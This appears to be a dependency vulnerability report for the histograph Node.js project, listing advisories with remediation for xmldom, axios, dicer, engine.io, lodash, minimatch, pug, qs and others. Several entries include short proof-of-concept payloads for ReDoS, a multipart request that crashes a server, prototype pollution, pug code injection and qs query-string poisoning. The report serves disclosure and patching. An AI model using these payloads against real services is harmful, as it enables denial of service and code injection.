  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection via the XMLSerializer() function. An attacker can manipulate the structure and integrity of generated XML documents by injecting attacker-controlled markup containing the CDATA terminator ]]> through CDATA section content, which is not properly validated or sanitized during serialization. This can result in unauthorized XML elements or attributes being inserted, potentially leading to business logic manipulation or privilege escalation in downstream consumers.

Remediation

There is no fixed version for xmldom.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.21.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim function.

PoC

// poc.js

var {trim} = require("axios/lib/utils");

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.21.3 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: dicer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8 busboy@0.2.14 dicer@0.2.5

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: engine.io
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 engine.io@1.8.5
    Remediation: Upgrade to socket.io@2.5.0.

Overview

engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server

Affected versions of this package are vulnerable to Denial of Service (DoS) via a POST request to the long polling transport.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade engine.io to version 3.6.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: engine.io
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 engine.io@1.8.5
    Remediation: Upgrade to socket.io@2.5.0.

Overview

engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious client could send a specially crafted HTTP request, triggering an uncaught exception and killing the Node.js process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade engine.io to version 3.6.1, 6.2.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: getobject
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 getobject@0.1.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 getobject@0.1.0
    Remediation: Upgrade to exectimer@2.0.0.

Overview

Affected versions of this package are vulnerable to Prototype Pollution. It allows an attacker to cause a denial of service and may lead to remote code execution.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade getobject to version 1.0.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0, inquirer@0.10.1 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.
  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.17.17.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.

PoC

lodash.zipobjectdeep:

const zipObjectDeep = require("lodash.zipobjectdeep");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

lodash:

const test = require("lodash");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Infinite loop

  • Vulnerable module: markdown-it
  • Introduced through: jstransformer-markdown-it@2.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph jstransformer-markdown-it@2.1.0 markdown-it@8.4.2
    Remediation: Upgrade to jstransformer-markdown-it@3.0.0.

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Infinite loop in linkify inline rule when using malformed input.

Remediation

Upgrade markdown-it to version 13.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 cli@0.6.6 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 glob@3.1.21 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 minimatch@2.0.10
    Remediation: Upgrade to exectimer@2.0.0.

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 cli@0.6.6 glob@3.2.11 minimatch@0.3.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 glob@3.1.21 minimatch@0.2.14
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 minimatch@2.0.10
    Remediation: Upgrade to exectimer@2.0.0.

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: parsejson
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 engine.io-client@1.8.6 parsejson@0.0.3

Overview

parsejson is a method that parses a JSON string and returns a JSON object.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. An attacker may pass a specially crafted JSON data, causing the server to hang.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for parsejson.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: pug-code-gen
  • Introduced through: pug@2.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph pug@2.0.4 pug-code-gen@2.0.3
    Remediation: Upgrade to pug@3.0.0.

Overview

pug-code-gen is a Default code-generator for pug. It generates HTML via a JavaScript template function.

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') via the name option of the compileClient, compileFileClient, or compileClientWithDependenciesTracked functions. An attacker can execute arbitrary JavaScript code by providing untrusted input.

Note:

These functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.

PoC

const express = require("express")
const pug = require("pug")
const runtimeWrap = require('pug-runtime/wrap');

const PORT = 3000

const app = express()

app.get("/", (req, res) => {
  const out = runtimeWrap(pug.compileClient('string of pug', req.query))
  res.send(out())
})

app.listen(PORT, () => {
  console.log(`Server is running on port ${PORT}`)
})

Remediation

Upgrade pug-code-gen to version 3.0.3 or higher.

References

high severity

Prototype Override Protection Bypass

  • Vulnerable module: qs
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8 qs@1.2.2
    Remediation: Upgrade to multer@1.0.0.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

  • February 13th, 2017 - Reported the issue to package owner.
  • February 13th, 2017 - Issue acknowledged by package owner.
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

Remediation

Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

References

high severity

Prototype Poisoning

  • Vulnerable module: qs
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8 qs@1.2.2
    Remediation: Upgrade to multer@1.0.0.

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

